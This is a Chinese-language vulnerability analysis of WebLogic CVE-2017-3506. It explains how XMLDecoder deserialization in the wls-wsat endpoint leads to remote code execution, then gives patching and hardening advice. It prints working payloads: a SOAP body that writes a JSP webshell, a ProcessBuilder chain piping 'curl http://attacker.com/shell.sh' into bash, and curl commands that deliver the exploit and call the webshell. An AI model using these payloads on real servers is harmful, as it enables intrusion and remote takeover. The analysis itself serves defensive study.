WebLogic CVE-2017-3506 漏洞原理：XMLDecoder 反序列化到 RCE 的 3 个关键步骤

在Java应用安全领域，反序列化漏洞一直是高危风险的代名词。2017年曝光的WebLogic CVE-2017-3506漏洞正是这类漏洞的典型代表，它通过WLS Security组件中的XMLDecoder实现机制，成功绕过了常规防御措施，实现了远程代码执行（RCE）。本文将深入剖析该漏洞从恶意请求到最终命令执行的完整技术链条，揭示其背后三个关键环节的运作机理。

1. 漏洞背景与攻击面分析

WebLogic作为企业级Java应用服务器，其WLS (WebLogic Server) Security组件负责处理SOAP协议通信。该组件默认暴露的/wls-wsat/CoordinatorPortType等端点，原本用于Web服务原子事务协调，却因设计缺陷成为攻击入口。

受影响版本：

• Oracle WebLogic Server 10.3.6.0.0
• Oracle WebLogic Server 12.1.3.0.0
• Oracle WebLogic Server 12.2.1.1.0
• Oracle WebLogic Server 12.2.1.2.0

攻击特征：

• 利用HTTP协议传输恶意XML载荷
• 无需身份认证即可触发漏洞
• 攻击成功率接近100%

<!-- 典型攻击载荷片段 --> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>/path/to/webshell.jsp</string> <void method="println"><string><![CDATA[<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>]]></string></void> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>

2. 漏洞触发三阶段解析

2.1 恶意XML解析阶段

当WebLogic接收到SOAP请求时，其处理流程如下：

1. 请求路由：CoordinatorPortType11端点将请求交给weblogic.wsee.jaxws.workcontext.WorkContextServerTube处理
2. 上下文提取：readHeaderOld()方法解析SOAP Header中的WorkContext数据
3. 适配器转换：创建WorkContextXmlInputAdapter实例处理XML内容

关键缺陷：系统直接将用户控制的XML数据传递给XMLDecoder，未做任何过滤。攻击者可以通过精心构造的XML元素模拟Java对象构造过程。

// 漏洞代码简化示意 public class WorkContextXmlInputAdapter { public WorkContextXmlInputAdapter(InputStream is) { this.xmlDecoder = new XMLDecoder(is); // 直接反序列化用户输入 } }

2.2 对象反序列化阶段

XMLDecoder的工作原理类似于Java原生反序列化，但采用XML格式描述对象图。其危险特性包括：

典型攻击链构造：

1. 实例化ProcessBuilder类
2. 通过数组构造命令参数
3. 调用start()方法执行命令

<java> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"><string>/bin/bash</string></void> <void index="1"><string>-c</string></void> <void index="2"><string>curl http://attacker.com/shell.sh|bash</string></void> </array> <void method="start"/> </void> </java>

2.3 命令执行阶段

成功反序列化后，攻击者通常采用以下两种持久化方式：

方式一：直接执行系统命令

• 优点：即时生效，无需文件落地
• 缺点：命令长度受限，无法维持持久访问

方式二：写入WebShell

1. 利用java.io.PrintWriter创建JSP文件
2. 写入包含命令执行功能的脚本
3. 通过HTTP请求触发命令执行

# 攻击者视角的典型利用流程 curl -X POST http://target:7001/wls-wsat/CoordinatorPortType11 \ -H "Content-Type: text/xml" \ --data-binary @poc.xml # 访问写入的webshell curl http://target:7001/wls-wsat/cmd.jsp?cmd=id

3. 漏洞修复与防御策略

Oracle官方最初通过黑名单方式修复该漏洞，在validate()方法中过滤object标签：

private void validate(InputStream is) { // ... if (qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid context type: object"); } }

完整防御建议：

1. 组件删除（推荐生产环境使用）：

   rm -f $MIDDLEWARE_HOME/wlserver_10.3/server/lib/wls-wsat.war rm -rf $DOMAIN_HOME/servers/AdminServer/tmp/_WL_internal/wls-wsat

2. 网络层控制：

   • 配置防火墙规则限制/wls-wsat/*路径的访问
   • 只允许可信IP访问管理控制台

3. 补丁升级：

   • 安装Oracle官方补丁（CPU Apr 2017及后续版本）
   • 特别注意后续的CVE-2017-10271是3506的绕过漏洞

4. 运行时防护：

   // 安全编码示例：自定义XMLDecoder解析策略 XMLDecoder decoder = new XMLDecoder(inputStream, null, null, new ClassLoader(getClass().getClassLoader()) { @Override protected Class<?> loadClass(String name, boolean resolve) { if (name.startsWith("java.lang.Process") || name.startsWith("java.io.File")) { throw new SecurityException("Forbidden class: " + name); } return super.loadClass(name, resolve); } });

4. 漏洞研究启示录

从防御者视角看，该漏洞提供了三个重要启示：

1. 黑名单机制的失效：后续出现的CVE-2017-10271证明，单纯过滤object标签无法从根本上解决问题。安全设计应当遵循白名单原则。

2. XML处理的危险性：相比JSON等格式，XML的复杂特性（实体扩展、外部引用等）会引入更多安全风险。在必须使用XMLDecoder的场景下，应该：

   • 限制可反序列化的类范围
   • 设置严格的类加载器策略
   • 启用安全管理器

3. 中间件的安全配置：

   # WebLogic安全加固建议 weblogic.security.enforceValidator=true weblogic.security.allowAdminProtocolTunneling=false weblogic.security.disableAnonymousAdmin=true

在企业安全实践中，建议建立中间件漏洞的快速响应机制，包括：

• 定期组件资产梳理
• 关键补丁24小时应急流程
• 网络层面的微隔离策略
• 运行时应用自保护(RASP)部署